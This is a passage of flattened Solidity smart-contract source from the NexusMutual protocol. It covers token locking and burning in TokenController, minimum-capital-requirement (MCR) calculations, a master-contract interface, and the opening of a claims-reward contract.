require(amount <= _balances[account]);
_totalSupply = _totalSupply.sub(amount);
_balances[account] = _balances[account].sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Internal function that burns an amount of the token of a given
* account, deducting from the sender's allowance for said account. Uses the
* internal burn function.
* @param account The account whose tokens will be burnt.
* @param value The amount that will be burnt.
*/
function _burnFrom(address account, uint256 value) internal {
require(value <= _allowed[account][msg.sender]);
// Should https://github.com/OpenZeppelin/zeppelin-solidity/issues/707 be accepted,
// this function needs to emit an event with the updated approval.
_allowed[account][msg.sender] = _allowed[account][msg.sender].sub(
value);
_burn(account, value);
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../../abstract/Iupgradable.sol";
import "../../interfaces/IPooledStaking.sol";
import "../claims/ClaimsData.sol";
import "./NXMToken.sol";
import "./external/LockHandler.sol";
contract TokenController is LockHandler, Iupgradable {
using SafeMath for uint256;
struct CoverInfo {
uint16 claimCount;
bool hasOpenClaim;
bool hasAcceptedClaim;
// note: still 224 bits available here, can be used later
}
NXMToken public token;
IPooledStaking public pooledStaking;
uint public minCALockTime;
uint public claimSubmissionGracePeriod;
// coverId => CoverInfo
mapping(uint => CoverInfo) public coverInfo;
event Locked(address indexed _of, bytes32 indexed _reason, uint256 _amount, uint256 _validity);
event Unlocked(address indexed _of, bytes32 indexed _reason, uint256 _amount);
event Burned(address indexed member, bytes32 lockedUnder, uint256 amount);
modifier onlyGovernance {
require(msg.sender == ms.getLatestAddress("GV"), "TokenController: Caller is not governance");
_;
}
/**
* @dev Just for interface
*/
function changeDependentContractAddress() public {
token = NXMToken(ms.tokenAddress());
pooledStaking = IPooledStaking(ms.getLatestAddress("PS"));
}
function markCoverClaimOpen(uint coverId) external onlyInternal {
CoverInfo storage info = coverInfo[coverId];
uint16 claimCount;
bool hasOpenClaim;
bool hasAcceptedClaim;
// reads all of them using a single SLOAD
(claimCount, hasOpenClaim, hasAcceptedClaim) = (info.claimCount, info.hasOpenClaim, info.hasAcceptedClaim);
// no safemath for uint16 but should be safe from
// overflows as there're max 2 claims per cover
claimCount = claimCount + 1;
require(claimCount <= 2, "TokenController: Max claim count exceeded");
require(hasOpenClaim == false, "TokenController: Cover already has an open claim");
require(hasAcceptedClaim == false, "TokenController: Cover already has accepted claims");
// should use a single SSTORE for both
(info.claimCount, info.hasOpenClaim) = (claimCount, true);
}
/**
* @param coverId cover id (careful, not claim id!)
* @param isAccepted claim verdict
*/
function markCoverClaimClosed(uint coverId, bool isAccepted) external onlyInternal {
CoverInfo storage info = coverInfo[coverId];
require(info.hasOpenClaim == true, "TokenController: Cover claim is not marked as open");
// should use a single SSTORE for both
(info.hasOpenClaim, info.hasAcceptedClaim) = (false, isAccepted);
}
/**
* @dev to change the operator address
* @param _newOperator is the new address of operator
*/
function changeOperator(address _newOperator) public onlyInternal {
token.changeOperator(_newOperator);
}
/**
* @dev Proxies token transfer through this contract to allow staking when members are locked for voting
* @param _from Source address
* @param _to Destination address
* @param _value Amount to transfer
*/
function operatorTransfer(address _from, address _to, uint _value) external onlyInternal returns (bool) {
require(msg.sender == address(pooledStaking), "TokenController: Call is only allowed from PooledStaking address");
token.operatorTransfer(_from, _value);
token.transfer(_to, _value);
return true;
}
/**
* @dev Locks a specified amount of tokens,
* for CLA reason and for a specified time
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function lockClaimAssessmentTokens(uint256 _amount, uint256 _time) external checkPause {
require(minCALockTime <= _time, "TokenController: Must lock for minimum time");
require(_time <= 180 days, "TokenController: Tokens can be locked for 180 days maximum");
// If tokens are already locked, then functions extendLock or
// increaseClaimAssessmentLock should be used to make any changes
_lock(msg.sender, "CLA", _amount, _time);
}
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
* @param _of address whose tokens are to be locked
*/
function lockOf(address _of, bytes32 _reason, uint256 _amount, uint256 _time)
public
onlyInternal
returns (bool)
{
// If tokens are already locked, then functions extendLock or
// increaseLockAmount should be used to make any changes
_lock(_of, _reason, _amount, _time);
return true;
}
/**
* @dev Mints and locks a specified amount of tokens against an address,
* for a CN reason and time
* @param _of address whose tokens are to be locked
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function mintCoverNote(
address _of,
bytes32 _reason,
uint256 _amount,
uint256 _time
) external onlyInternal {
require(_tokensLocked(_of, _reason) == 0, "TokenController: An amount of tokens is already locked");
require(_amount != 0, "TokenController: Amount shouldn't be zero");
if (locked[_of][_reason].amount == 0) {
lockReason[_of].push(_reason);
}
token.mint(address(this), _amount);
uint256 lockedUntil = now.add(_time);
locked[_of][_reason] = LockToken(_amount, lockedUntil, false);
emit Locked(_of, _reason, _amount, lockedUntil);
}
/**
* @dev Extends lock for reason CLA for a specified time
* @param _time Lock extension time in seconds
*/
function extendClaimAssessmentLock(uint256 _time) external checkPause {
uint256 validity = getLockedTokensValidity(msg.sender, "CLA");
require(validity.add(_time).sub(block.timestamp) <= 180 days, "TokenController: Tokens can be locked for 180 days maximum");
_extendLock(msg.sender, "CLA", _time);
}
/**
* @dev Extends lock for a specified reason and time
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function extendLockOf(address _of, bytes32 _reason, uint256 _time)
public
onlyInternal
returns (bool)
{
_extendLock(_of, _reason, _time);
return true;
}
/**
* @dev Increase number of tokens locked for a CLA reason
* @param _amount Number of tokens to be increased
*/
function increaseClaimAssessmentLock(uint256 _amount) external checkPause
{
require(_tokensLocked(msg.sender, "CLA") > 0, "TokenController: No tokens locked");
token.operatorTransfer(msg.sender, _amount);
locked[msg.sender]["CLA"].amount = locked[msg.sender]["CLA"].amount.add(_amount);
emit Locked(msg.sender, "CLA", _amount, locked[msg.sender]["CLA"].validity);
}
/**
* @dev burns tokens of an address
* @param _of is the address to burn tokens of
* @param amount is the amount to burn
* @return the boolean status of the burning process
*/
function burnFrom(address _of, uint amount) public onlyInternal returns (bool) {
return token.burnFrom(_of, amount);
}
/**
* @dev Burns locked tokens of a user
* @param _of address whose tokens are to be burned
* @param _reason lock reason for which tokens are to be burned
* @param _amount amount of tokens to burn
*/
function burnLockedTokens(address _of, bytes32 _reason, uint256 _amount) public onlyInternal {
_burnLockedTokens(_of, _reason, _amount);
}
/**
* @dev reduce lock duration for a specified reason and time
* @param _of The address whose tokens are locked
* @param _reason The reason to lock tokens
* @param _time Lock reduction time in seconds
*/
function reduceLock(address _of, bytes32 _reason, uint256 _time) public onlyInternal {
_reduceLock(_of, _reason, _time);
}
/**
* @dev Released locked tokens of an address locked for a specific reason
* @param _of address whose tokens are to be released from lock
* @param _reason reason of the lock
* @param _amount amount of tokens to release
*/
function releaseLockedTokens(address _of, bytes32 _reason, uint256 _amount)
public
onlyInternal
{
_releaseLockedTokens(_of, _reason, _amount);
}
/**
* @dev Adds an address to whitelist maintained in the contract
* @param _member address to add to whitelist
*/
function addToWhitelist(address _member) public onlyInternal {
token.addToWhiteList(_member);
}
/**
* @dev Removes an address from the whitelist in the token
* @param _member address to remove
*/
function removeFromWhitelist(address _member) public onlyInternal {
token.removeFromWhiteList(_member);
}
/**
* @dev Mints new token for an address
* @param _member address to reward the minted tokens
* @param _amount number of tokens to mint
*/
function mint(address _member, uint _amount) public onlyInternal {
token.mint(_member, _amount);
}
/**
* @dev Lock the user's tokens
* @param _of user's address.
*/
function lockForMemberVote(address _of, uint _days) public onlyInternal {
token.lockForMemberVote(_of, _days);
}
/**
* @dev Unlocks the withdrawable tokens against CLA of a specified address
* @param _of Address of user, claiming back withdrawable tokens against CLA
*/
function withdrawClaimAssessmentTokens(address _of) external checkPause {
uint256 withdrawableTokens = _tokensUnlockable(_of, "CLA");
if (withdrawableTokens > 0) {
locked[_of]["CLA"].claimed = true;
emit Unlocked(_of, "CLA", withdrawableTokens);
token.transfer(_of, withdrawableTokens);
}
}
/**
* @dev Updates Uint Parameters of a code
* @param code whose details we want to update
* @param value value to set
*/
function updateUintParameters(bytes8 code, uint value) external onlyGovernance {
if (code == "MNCLT") {
minCALockTime = value;
return;
}
if (code == "GRACEPER") {
claimSubmissionGracePeriod = value;
return;
}
revert("TokenController: invalid param code");
}
function getLockReasons(address _of) external view returns (bytes32[] memory reasons) {
return lockReason[_of];
}
/**
* @dev Gets the validity of locked tokens of a specified address
* @param _of The address to query the validity
* @param reason reason for which tokens were locked
*/
function getLockedTokensValidity(address _of, bytes32 reason) public view returns (uint256 validity) {
validity = locked[_of][reason].validity;
}
/**
* @dev Gets the unlockable tokens of a specified address
* @param _of The address to query the the unlockable token count of
*/
function getUnlockableTokens(address _of)
public
view
returns (uint256 unlockableTokens)
{
for (uint256 i = 0; i < lockReason[_of].length; i++) {
unlockableTokens = unlockableTokens.add(_tokensUnlockable(_of, lockReason[_of][i]));
}
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLocked(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
return _tokensLocked(_of, _reason);
}
/**
* @dev Returns tokens locked and validity for a specified address and reason
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function tokensLockedWithValidity(address _of, bytes32 _reason)
public
view
returns (uint256 amount, uint256 validity)
{
bool claimed = locked[_of][_reason].claimed;
amount = locked[_of][_reason].amount;
validity = locked[_of][_reason].validity;
if (claimed) {
amount = 0;
}
}
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function tokensUnlockable(address _of, bytes32 _reason)
public
view
returns (uint256 amount)
{
return _tokensUnlockable(_of, _reason);
}
function totalSupply() public view returns (uint256)
{
return token.totalSupply();
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
public
view
returns (uint256 amount)
{
return _tokensLockedAtTime(_of, _reason, _time);
}
/**
* @dev Returns the total amount of tokens held by an address:
* transferable + locked + staked for pooled staking - pending burns.
* Used by Claims and Governance in member voting to calculate the user's vote weight.
*
* @param _of The address to query the total balance of
* @param _of The address to query the total balance of
*/
function totalBalanceOf(address _of) public view returns (uint256 amount) {
amount = token.balanceOf(_of);
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(_tokensLocked(_of, lockReason[_of][i]));
}
uint stakerReward = pooledStaking.stakerReward(_of);
uint stakerDeposit = pooledStaking.stakerDeposit(_of);
amount = amount.add(stakerDeposit).add(stakerReward);
}
/**
* @dev Returns the total amount of locked and staked tokens.
* Used by MemberRoles to check eligibility for withdraw / switch membership.
* Includes tokens locked for claim assessment, tokens staked for risk assessment, and locked cover notes
* Does not take into account pending burns.
* @param _of member whose locked tokens are to be calculate
*/
function totalLockedBalance(address _of) public view returns (uint256 amount) {
for (uint256 i = 0; i < lockReason[_of].length; i++) {
amount = amount.add(_tokensLocked(_of, lockReason[_of][i]));
}
amount = amount.add(pooledStaking.stakerDeposit(_of));
}
/**
* @dev Locks a specified amount of tokens against an address,
* for a specified reason and time
* @param _of address whose tokens are to be locked
* @param _reason The reason to lock tokens
* @param _amount Number of tokens to be locked
* @param _time Lock time in seconds
*/
function _lock(address _of, bytes32 _reason, uint256 _amount, uint256 _time) internal {
require(_tokensLocked(_of, _reason) == 0, "TokenController: An amount of tokens is already locked");
require(_amount != 0, "TokenController: Amount shouldn't be zero");
if (locked[_of][_reason].amount == 0) {
lockReason[_of].push(_reason);
}
token.operatorTransfer(_of, _amount);
uint256 validUntil = now.add(_time);
locked[_of][_reason] = LockToken(_amount, validUntil, false);
emit Locked(_of, _reason, _amount, validUntil);
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
*/
function _tokensLocked(address _of, bytes32 _reason)
internal
view
returns (uint256 amount)
{
if (!locked[_of][_reason].claimed) {
amount = locked[_of][_reason].amount;
}
}
/**
* @dev Returns tokens locked for a specified address for a
* specified reason at a specific time
*
* @param _of The address whose tokens are locked
* @param _reason The reason to query the lock tokens for
* @param _time The timestamp to query the lock tokens for
*/
function _tokensLockedAtTime(address _of, bytes32 _reason, uint256 _time)
internal
view
returns (uint256 amount)
{
if (locked[_of][_reason].validity > _time) {
amount = locked[_of][_reason].amount;
}
}
/**
* @dev Extends lock for a specified reason and time
* @param _of The address whose tokens are locked
* @param _reason The reason to lock tokens
* @param _time Lock extension time in seconds
*/
function _extendLock(address _of, bytes32 _reason, uint256 _time) internal {
require(_tokensLocked(_of, _reason) > 0, "TokenController: No tokens locked");
emit Unlocked(_of, _reason, locked[_of][_reason].amount);
locked[_of][_reason].validity = locked[_of][_reason].validity.add(_time);
emit Locked(_of, _reason, locked[_of][_reason].amount, locked[_of][_reason].validity);
}
/**
* @dev reduce lock duration for a specified reason and time
* @param _of The address whose tokens are locked
* @param _reason The reason to lock tokens
* @param _time Lock reduction time in seconds
*/
function _reduceLock(address _of, bytes32 _reason, uint256 _time) internal {
require(_tokensLocked(_of, _reason) > 0, "TokenController: No tokens locked");
emit Unlocked(_of, _reason, locked[_of][_reason].amount);
locked[_of][_reason].validity = locked[_of][_reason].validity.sub(_time);
emit Locked(_of, _reason, locked[_of][_reason].amount, locked[_of][_reason].validity);
}
/**
* @dev Returns unlockable tokens for a specified address for a specified reason
* @param _of The address to query the the unlockable token count of
* @param _reason The reason to query the unlockable tokens for
*/
function _tokensUnlockable(address _of, bytes32 _reason) internal view returns (uint256 amount)
{
if (locked[_of][_reason].validity <= now && !locked[_of][_reason].claimed) {
amount = locked[_of][_reason].amount;
}
}
/**
* @dev Burns locked tokens of a user
* @param _of address whose tokens are to be burned
* @param _reason lock reason for which tokens are to be burned
* @param _amount amount of tokens to burn
*/
function _burnLockedTokens(address _of, bytes32 _reason, uint256 _amount) internal {
uint256 amount = _tokensLocked(_of, _reason);
require(amount >= _amount, "TokenController: Amount exceedes locked tokens amount");
if (amount == _amount) {
locked[_of][_reason].claimed = true;
}
locked[_of][_reason].amount = locked[_of][_reason].amount.sub(_amount);
// lock reason removal is skipped here: needs to be done from offchain
token.burn(_amount);
emit Burned(_of, _reason, _amount);
}
/**
* @dev Released locked tokens of an address locked for a specific reason
* @param _of address whose tokens are to be released from lock
* @param _reason reason of the lock
* @param _amount amount of tokens to release
*/
function _releaseLockedTokens(address _of, bytes32 _reason, uint256 _amount) internal
{
uint256 amount = _tokensLocked(_of, _reason);
require(amount >= _amount, "TokenController: Amount exceedes locked tokens amount");
if (amount == _amount) {
locked[_of][_reason].claimed = true;
}
locked[_of][_reason].amount = locked[_of][_reason].amount.sub(_amount);
// lock reason removal is skipped here: needs to be done from offchain
token.transfer(_of, _amount);
emit Unlocked(_of, _reason, _amount);
}
function withdrawCoverNote(
address _of,
uint[] calldata _coverIds,
uint[] calldata _indexes
) external onlyInternal {
uint reasonCount = lockReason[_of].length;
uint lastReasonIndex = reasonCount.sub(1, "TokenController: No locked cover notes found");
uint totalAmount = 0;
// The iteration is done from the last to first to prevent reason indexes from
// changing due to the way we delete the items (copy last to current and pop last).
// The provided indexes array must be ordered, otherwise reason index checks will fail.
for (uint i = _coverIds.length; i > 0; i--) {
bool hasOpenClaim = coverInfo[_coverIds[i - 1]].hasOpenClaim;
require(hasOpenClaim == false, "TokenController: Cannot withdraw for cover with an open claim");
// note: cover owner is implicitly checked using the reason hash
bytes32 _reason = keccak256(abi.encodePacked("CN", _of, _coverIds[i - 1]));
uint _reasonIndex = _indexes[i - 1];
require(lockReason[_of][_reasonIndex] == _reason, "TokenController: Bad reason index");
uint amount = locked[_of][_reason].amount;
totalAmount = totalAmount.add(amount);
delete locked[_of][_reason];
if (lastReasonIndex != _reasonIndex) {
lockReason[_of][_reasonIndex] = lockReason[_of][lastReasonIndex];
}
lockReason[_of].pop();
emit Unlocked(_of, _reason, amount);
if (lastReasonIndex > 0) {
lastReasonIndex = lastReasonIndex.sub(1, "TokenController: Reason count mismatch");
}
}
token.transfer(_of, totalAmount);
}
function removeEmptyReason(address _of, bytes32 _reason, uint _index) external {
_removeEmptyReason(_of, _reason, _index);
}
function removeMultipleEmptyReasons(
address[] calldata _members,
bytes32[] calldata _reasons,
uint[] calldata _indexes
) external {
require(_members.length == _reasons.length, "TokenController: members and reasons array lengths differ");
require(_reasons.length == _indexes.length, "TokenController: reasons and indexes array lengths differ");
for (uint i = _members.length; i > 0; i--) {
uint idx = i - 1;
_removeEmptyReason(_members[idx], _reasons[idx], _indexes[idx]);
}
}
function _removeEmptyReason(address _of, bytes32 _reason, uint _index) internal {
uint lastReasonIndex = lockReason[_of].length.sub(1, "TokenController: lockReason is empty");
require(lockReason[_of][_index] == _reason, "TokenController: bad reason index");
require(locked[_of][_reason].amount == 0, "TokenController: reason amount is not zero");
if (lastReasonIndex != _index) {
lockReason[_of][_index] = lockReason[_of][lastReasonIndex];
}
lockReason[_of].pop();
}
function initialize() external {
require(claimSubmissionGracePeriod == 0, "TokenController: Already initialized");
claimSubmissionGracePeriod = 120 days;
migrate();
}
function migrate() internal {
ClaimsData cd = ClaimsData(ms.getLatestAddress("CD"));
uint totalClaims = cd.actualClaimLength() - 1;
// fix stuck claims 21 & 22
cd.changeFinalVerdict(20, -1);
cd.setClaimStatus(20, 6);
cd.changeFinalVerdict(21, -1);
cd.setClaimStatus(21, 6);
// reduce claim assessment lock period for members locked for more than 180 days
// extracted using scripts/extract-ca-locked-more-than-180.js
address payable[3] memory members = [
0x4a9fA34da6d2378c8f3B9F6b83532B169beaEDFc,
0x6b5DCDA27b5c3d88e71867D6b10b35372208361F,
0x8B6D1e5b4db5B6f9aCcc659e2b9619B0Cd90D617
];
for (uint i = 0; i < members.length; i++) {
if (locked[members[i]]["CLA"].validity > now + 180 days) {
locked[members[i]]["CLA"].validity = now + 180 days;
}
}
for (uint i = 1; i <= totalClaims; i++) {
(/*id*/, uint status) = cd.getClaimStatusNumber(i);
(/*id*/, uint coverId) = cd.getClaimCoverId(i);
int8 verdict = cd.getFinalVerdict(i);
// SLOAD
CoverInfo memory info = coverInfo[coverId];
info.claimCount = info.claimCount + 1;
info.hasAcceptedClaim = (status == 14);
info.hasOpenClaim = (verdict == 0);
// SSTORE
coverInfo[coverId] = info;
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../../abstract/MasterAware.sol";
import "../capital/Pool.sol";
import "../cover/QuotationData.sol";
import "../oracles/PriceFeedOracle.sol";
import "../token/NXMToken.sol";
import "../token/TokenData.sol";
import "./LegacyMCR.sol";
contract MCR is MasterAware {
using SafeMath for uint;
Pool public pool;
QuotationData public qd;
// sizeof(qd) + 96 = 160 + 96 = 256 (occupies entire slot)
uint96 _unused;
// the following values are expressed in basis points
uint24 public mcrFloorIncrementThreshold = 13000;
uint24 public maxMCRFloorIncrement = 100;
uint24 public maxMCRIncrement = 500;
uint24 public gearingFactor = 48000;
// min update between MCR updates in seconds
uint24 public minUpdateTime = 3600;
uint112 public mcrFloor;
uint112 public mcr;
uint112 public desiredMCR;
uint32 public lastUpdateTime;
LegacyMCR public previousMCR;
event MCRUpdated(
uint mcr,
uint desiredMCR,
uint mcrFloor,
uint mcrETHWithGear,
uint totalSumAssured
);
uint constant UINT24_MAX = ~uint24(0);
uint constant MAX_MCR_ADJUSTMENT = 100;
uint constant BASIS_PRECISION = 10000;
constructor (address masterAddress) public {
changeMasterAddress(masterAddress);
if (masterAddress != address(0)) {
previousMCR = LegacyMCR(master.getLatestAddress("MC"));
}
}
/**
* @dev Iupgradable Interface to update dependent contract address
*/
function changeDependentContractAddress() public {
qd = QuotationData(master.getLatestAddress("QD"));
pool = Pool(master.getLatestAddress("P1"));
initialize();
}
function initialize() internal {
address currentMCR = master.getLatestAddress("MC");
if (address(previousMCR) == address(0) || currentMCR != address(this)) {
// already initialized or not ready for initialization
return;
}
// fetch MCR parameters from previous contract
uint112 minCap = 7000 * 1e18;
mcrFloor = uint112(previousMCR.variableMincap()) + minCap;
mcr = uint112(previousMCR.getLastMCREther());
desiredMCR = mcr;
mcrFloorIncrementThreshold = uint24(previousMCR.dynamicMincapThresholdx100());
maxMCRFloorIncrement = uint24(previousMCR.dynamicMincapIncrementx100());
// set last updated time to now
lastUpdateTime = uint32(block.timestamp);
previousMCR = LegacyMCR(address(0));
}
/**
* @dev Gets total sum assured (in ETH).
* @return amount of sum assured
*/
function getAllSumAssurance() public view returns (uint) {
PriceFeedOracle priceFeed = pool.priceFeedOracle();
address daiAddress = priceFeed.daiAddress();
uint ethAmount = qd.getTotalSumAssured("ETH").mul(1e18);
uint daiAmount = qd.getTotalSumAssured("DAI").mul(1e18);
uint daiRate = priceFeed.getAssetToEthRate(daiAddress);
uint daiAmountInEth = daiAmount.mul(daiRate).div(1e18);
return ethAmount.add(daiAmountInEth);
}
/*
* @dev trigger an MCR update. Current virtual MCR value is synced to storage, mcrFloor is potentially updated
* and a new desiredMCR value to move towards is set.
*
*/
function updateMCR() public {
_updateMCR(pool.getPoolValueInEth(), false);
}
function updateMCRInternal(uint poolValueInEth, bool forceUpdate) public onlyInternal {
_updateMCR(poolValueInEth, forceUpdate);
}
function _updateMCR(uint poolValueInEth, bool forceUpdate) internal {
// read with 1 SLOAD
uint _mcrFloorIncrementThreshold = mcrFloorIncrementThreshold;
uint _maxMCRFloorIncrement = maxMCRFloorIncrement;
uint _gearingFactor = gearingFactor;
uint _minUpdateTime = minUpdateTime;
uint _mcrFloor = mcrFloor;
// read with 1 SLOAD
uint112 _mcr = mcr;
uint112 _desiredMCR = desiredMCR;
uint32 _lastUpdateTime = lastUpdateTime;
if (!forceUpdate && _lastUpdateTime + _minUpdateTime > block.timestamp) {
return;
}
if (block.timestamp > _lastUpdateTime && pool.calculateMCRRatio(poolValueInEth, _mcr) >= _mcrFloorIncrementThreshold) {
// MCR floor updates by up to maxMCRFloorIncrement percentage per day whenever the MCR ratio exceeds 1.3
// MCR floor is monotonically increasing.
uint basisPointsAdjustment = min(
_maxMCRFloorIncrement.mul(block.timestamp - _lastUpdateTime).div(1 days),
_maxMCRFloorIncrement
);
uint newMCRFloor = _mcrFloor.mul(basisPointsAdjustment.add(BASIS_PRECISION)).div(BASIS_PRECISION);
require(newMCRFloor <= uint112(~0), 'MCR: newMCRFloor overflow');
mcrFloor = uint112(newMCRFloor);
}
// sync the current virtual MCR value to storage
uint112 newMCR = uint112(getMCR());
if (newMCR != _mcr) {
mcr = newMCR;
}
// the desiredMCR cannot fall below the mcrFloor but may have a higher or lower target value based
// on the changes in the totalSumAssured in the system.
uint totalSumAssured = getAllSumAssurance();
uint gearedMCR = totalSumAssured.mul(BASIS_PRECISION).div(_gearingFactor);
uint112 newDesiredMCR = uint112(max(gearedMCR, mcrFloor));
if (newDesiredMCR != _desiredMCR) {
desiredMCR = newDesiredMCR;
}
lastUpdateTime = uint32(block.timestamp);
emit MCRUpdated(mcr, desiredMCR, mcrFloor, gearedMCR, totalSumAssured);
}
/**
* @dev Calculates the current virtual MCR value. The virtual MCR value moves towards the desiredMCR value away
* from the stored mcr value at constant velocity based on how much time passed from the lastUpdateTime.
* The total change in virtual MCR cannot exceed 1% of stored mcr.
*
* This approach allows for the MCR to change smoothly across time without sudden jumps between values, while
* always progressing towards the desiredMCR goal. The desiredMCR can change subject to the call of _updateMCR
* so the virtual MCR value may change direction and start decreasing instead of increasing or vice-versa.
*
* @return mcr
*/
function getMCR() public view returns (uint) {
// read with 1 SLOAD
uint _mcr = mcr;
uint _desiredMCR = desiredMCR;
uint _lastUpdateTime = lastUpdateTime;
if (block.timestamp == _lastUpdateTime) {
return _mcr;
}
uint _maxMCRIncrement = maxMCRIncrement;
uint basisPointsAdjustment = _maxMCRIncrement.mul(block.timestamp - _lastUpdateTime).div(1 days);
basisPointsAdjustment = min(basisPointsAdjustment, MAX_MCR_ADJUSTMENT);
if (_desiredMCR > _mcr) {
return min(_mcr.mul(basisPointsAdjustment.add(BASIS_PRECISION)).div(BASIS_PRECISION), _desiredMCR);
}
// in case desiredMCR <= mcr
return max(_mcr.mul(BASIS_PRECISION - basisPointsAdjustment).div(BASIS_PRECISION), _desiredMCR);
}
function getGearedMCR() external view returns (uint) {
return getAllSumAssurance().mul(BASIS_PRECISION).div(gearingFactor);
}
function min(uint x, uint y) pure internal returns (uint) {
return x < y ? x : y;
}
function max(uint x, uint y) pure internal returns (uint) {
return x > y ? x : y;
}
/**
* @dev Updates Uint Parameters
* @param code parameter code
* @param val new value
*/
function updateUintParameters(bytes8 code, uint val) public {
require(master.checkIsAuthToGoverned(msg.sender));
if (code == "DMCT") {
require(val <= UINT24_MAX, "MCR: value too large");
mcrFloorIncrementThreshold = uint24(val);
} else if (code == "DMCI") {
require(val <= UINT24_MAX, "MCR: value too large");
maxMCRFloorIncrement = uint24(val);
} else if (code == "MMIC") {
require(val <= UINT24_MAX, "MCR: value too large");
maxMCRIncrement = uint24(val);
} else if (code == "GEAR") {
require(val <= UINT24_MAX, "MCR: value too large");
gearingFactor = uint24(val);
} else if (code == "MUTI") {
require(val <= UINT24_MAX, "MCR: value too large");
minUpdateTime = uint24(val);
} else {
revert("Invalid param code");
}
}
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
pragma solidity ^0.5.0;
contract INXMMaster {
address public tokenAddress;
address public owner;
uint public pauseTime;
function delegateCallBack(bytes32 myid) external;
function masterInitialized() public view returns (bool);
function isInternal(address _add) public view returns (bool);
function isPause() public view returns (bool check);
function isOwner(address _add) public view returns (bool);
function isMember(address _add) public view returns (bool);
function checkIsAuthToGoverned(address _add) public view returns (bool);
function updatePauseTime(uint _time) public;
function dAppLocker() public view returns (address _add);
function dAppToken() public view returns (address _add);
function getLatestAddress(bytes2 _contractName) public view returns (address payable contractAddress);
}
/* Copyright (C) 2020 NexusMutual.io
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see http://www.gnu.org/licenses/ */
//Claims Reward Contract contains the functions for calculating number of tokens
// that will get rewarded, unlocked or burned depending upon the status of claim.
pragma solidity ^0.5.0;
import "../../interfaces/IPooledStaking.sol";
import "../capital/Pool.sol";
import "../cover/QuotationData.sol";
import "../governance/Governance.sol";
import "../token/TokenData.sol";
import "../token/TokenFunctions.sol";
import "./Claims.sol";
import "./ClaimsData.sol";
import "../capital/MCR.sol";
contract ClaimsReward is Iupgradable {
using SafeMath for uint;
NXMToken internal tk;
TokenController internal tc;
TokenData internal td;
QuotationData internal qd;
Claims internal c1;
ClaimsData internal cd;
Pool internal pool;
Governance internal gv;
IPooledStaking internal pooledStaking;
MemberRoles internal memberRoles;
MCR public mcr;
// assigned in constructor
address public DAI;
// constants
address public constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
uint private constant DECIMAL1E18 = uint(10) ** 18;
constructor (address masterAddress, address _daiAddress) public {
changeMasterAddress(masterAddress);
DAI = _daiAddress;
}
function changeDependentContractAddress() public onlyInternal {
c1 = Claims(ms.getLatestAddress("CL"));
cd = ClaimsData(ms.getLatestAddress("CD"));
tk = NXMToken(ms.tokenAddress());
tc = TokenController(ms.getLatestAddress("TC"));
td = TokenData(ms.getLatestAddress("TD"));
qd = QuotationData(ms.getLatestAddress("QD"));
gv = Governance(ms.getLatestAddress("GV"));
pooledStaking = IPooledStaking(ms.getLatestAddress("PS"));
memberRoles = MemberRoles(ms.getLatestAddress("MR"));
pool = Pool(ms.getLatestAddress("P1"));
mcr = MCR(ms.getLatestAddress("MC"));
}
/// @dev Decides the next course of action for a given claim.
function changeClaimStatus(uint claimid) public checkPause onlyInternal {
(, uint coverid) = cd.getClaimCoverId(claimid);
(, uint status) = cd.getClaimStatusNumber(claimid);
// when current status is "Pending-Claim Assessor Vote"
if (status == 0) {
